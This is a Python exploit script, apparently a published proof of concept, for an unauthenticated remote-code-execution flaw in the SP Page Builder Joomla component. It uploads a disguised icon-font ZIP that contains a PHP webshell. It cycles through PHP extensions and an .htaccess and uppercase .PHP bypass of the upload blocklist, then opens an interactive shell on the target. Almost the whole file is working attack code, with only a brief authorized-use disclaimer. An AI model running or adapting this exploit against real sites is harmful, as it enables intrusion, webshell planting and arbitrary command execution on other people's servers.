#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ sppb_rce.py — CVE-2026-48908 SP Page Builder (Joomla) unauthenticated RCE Copyright (c) 2026 Christos Papageorgiou — MIT License (see LICENSE) Component : com_sppagebuilder (SP Page Builder by JoomShaper) <= 6.6.1 (fixed 6.6.2) Vector : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon - unauthenticated, no CSRF token - takes an "icon-font" ZIP (field: custom_icon) and extracts it to the webroot: /media/com_sppagebuilder/assets/iconfont// (incl. fonts/, served publicly) Adaptive upload — tries methods in order, stops at the first that EXECUTES: 1. plain fonts/.php -> SPPB builds with NO file-type filter 2. fonts/.htaccess + fonts/.PHP -> builds with a case-sensitive blocklist (uppercase .PHP slips the blocklist; the dropped .htaccess registers .PHP as PHP — requires the server to allow AllowOverride + PHP execution in /media) A file that uploads but does not execute (AllowOverride None / PHP disabled in upload dir) is reported as file-write-without-RCE, and the next method is tried. USAGE python3 sppb_rce.py https://target.example # check + prove RCE (runs `id`) python3 sppb_rce.py --url target.example -c "uname -a" python3 sppb_rce.py https://target.example --shell # interactive pseudo-shell python3 sppb_rce.py https://target.example --cleanup # delete the uploaded payload dir AUTHORIZED USE ONLY. For sanctioned penetration tests / CTF / lab targets. You are solely responsible for how you use this tool — see the DISCLAIMER in README.md. """ import argparse import io import json import random import string import sys import zipfile try: import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except ImportError: sys.exit("[-] missing dependency: pip install -r requirements.txt (needs 'requests')") UA = "Mozilla/5.0 (X11; Linux x86_64) sppb-rce-poc" TASK = "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon" ICONBASE = "media/com_sppagebuilder/assets/iconfont" HTACCESS = b"AddType application/x-httpd-php .PHP\n" def rnd(n=8): return "".join(random.choice(string.ascii_lowercase) for _ in range(n)) def normalize(url): url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url return url.rstrip("/") def build_zip(name, shell_rel, token, extra_files): """Valid icon-font package + a token-guarded shell at shell_rel (+ optional extra files).""" shell = ('' % token).encode() selection = json.dumps({ "IcoMoonType": "selection", "icons": [], "metadata": {"name": name}, "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}}, }).encode() buf = io.BytesIO() z = zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) z.writestr("selection.json", selection) z.writestr("style.css", b".ico-x:before{content:'x';}") z.writestr("fonts/%s.ttf" % name, b"FONT") for path, data in extra_files.items(): z.writestr(path, data) z.writestr(shell_rel, shell) z.close() return buf.getvalue() def upload(sess, base, zip_bytes, name): """POST the ZIP unauthenticated. Returns iconfont dir, 'PATCHED', or None.""" files = {"custom_icon": ("%s.zip" % name, zip_bytes, "application/zip")} try: r = sess.post("%s/%s" % (base, TASK), files=files, verify=False, timeout=30) except requests.RequestException as e: print("(request error: %s)" % e, end=" ") return None if "You require admin access" in r.text: return "PATCHED" try: data = r.json() except ValueError: return None if not data.get("status"): return None # filter rejected this file css = data.get("data", {}).get("css_path", "") return css.rsplit("/", 1)[0] if css else "%s/%s" % (ICONBASE, name) def run(sess, base, shell_path, token, cmd): r = sess.get("%s/%s" % (base, shell_path), params={"t": token, "c": cmd}, verify=False, timeout=30) return r.status_code, r.text # php-executable extensions to try directly (no .htaccess), least footprint first; # then the .htaccess fallback that forces a (case-bypassed) .PHP to run. DIRECT_EXTS = ["php", "php3", "php4", "php5", "php7", "pht", "phtml", "phar", "PHP", "pHp", "Php"] def try_methods(sess, base, token): """Try each method until one EXECUTES. Returns (result, shell_path, label, created) where result is 'PATCHED' | iconfont_dir (success) | None (fail; shell_path=last write-only dir).""" methods = [(".%s" % e, e, {}) for e in DIRECT_EXTS] methods.append((".htaccess+.PHP", "PHP", {"fonts/.htaccess": HTACCESS})) created, leftover = [], None for label, ext, extra in methods: name, shell = "ico" + rnd(6), "f" + rnd(6) shell_rel = "fonts/%s.%s" % (shell, ext) print("[*] try %-15s " % label, end="") iconfont_dir = upload(sess, base, build_zip(name, shell_rel, token, extra), name) if iconfont_dir == "PATCHED": print("-> 403 'require admin' = patched") return ("PATCHED", None, None, created) if not iconfont_dir: print("-> rejected by filter") continue created.append(iconfont_dir) shell_path = "%s/fonts/%s.%s" % (iconfont_dir, shell, ext) code, out = run(sess, base, shell_path, token, "echo SPPB-RCE-$((7*6))") if code == 200 and "SPPB-RCE-42" in out: print("-> EXECUTED") return (iconfont_dir, shell_path, label, created) print("-> uploaded, not executed") leftover = iconfont_dir return (None, leftover, None, created) def main(): ap = argparse.ArgumentParser( description="CVE-2026-48908 SP Page Builder unauthenticated RCE (authorized testing only)") ap.add_argument("url", nargs="?", help="target, e.g. https://target.example") ap.add_argument("--url", dest="url_opt", help="target (alternative to positional)") ap.add_argument("-c", "--cmd", default="id", help="command to execute (default: id)") ap.add_argument("--shell", action="store_true", help="interactive pseudo-shell") ap.add_argument("--check", action="store_true", help="only confirm the vuln, run no command") ap.add_argument("--cleanup", action="store_true", help="after exploiting, delete the uploaded payload directory") ap.add_argument("--token", default=rnd(16), help="secret guarding the dropped shell") args = ap.parse_args() target = args.url or args.url_opt if not target: ap.error("provide a target URL (positional or --url)") base = normalize(target) sess = requests.Session() sess.headers["User-Agent"] = UA print("[*] target : %s" % base) print("[*] endpoint : %s" % TASK) iconfont_dir, shell_path, method, created = try_methods(sess, base, args.token) if iconfont_dir == "PATCHED": print("[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+); " "the upload task now requires authenticated admin access.") sys.exit(1) if iconfont_dir is None: if shell_path: # file-write worked, no exec print("[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute " "(AllowOverride None / PHP disabled in /media). Not RCE on this config.") for d in created: print(" artifact left: /%s/" % d) sys.exit(3) print("[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is " "absent/patched on this host.") sys.exit(2) shell_url = "%s/%s" % (base, shell_path) print("[+] CODE EXECUTION CONFIRMED via '%s' (echo 7*6 -> 42)" % method) print("[+] webshell : %s?t=%s&c=" % (shell_url, args.token)) if args.check: pass elif args.shell: print("[*] interactive shell — type commands, 'exit' to quit") while True: try: cmd = input("www-data$ ") except (EOFError, KeyboardInterrupt): print(); break if cmd.strip() in ("exit", "quit"): break if not cmd.strip(): continue _, out = run(sess, base, shell_path, args.token, cmd) sys.stdout.write(out if out.endswith("\n") else out + "\n") else: print("[*] running: %s" % args.cmd) _, out = run(sess, base, shell_path, args.token, args.cmd) print("-" * 60) sys.stdout.write(out if out.endswith("\n") else out + "\n") print("-" * 60) if args.cleanup: # remove every iconfont dir we created (success + any write-only leftovers from earlier tries) names = " ".join(d.rsplit("/", 1)[-1] for d in created) rmcmd = ('B="$(dirname "$(dirname "$(pwd)")")"; for d in %s; do rm -rf "$B/$d"; done; ' 'echo CLEANED' % names) _, out = run(sess, base, shell_path, args.token, rmcmd) print("[*] cleanup: %s (%d dir%s)" % ("done" if "CLEANED" in out else "manual rm needed", len(created), "" if len(created) == 1 else "s")) else: print("[!] %d artifact dir(s) left (re-run with --cleanup): %s" % (len(created), ", ".join("/" + d for d in created))) if __name__ == "__main__": main()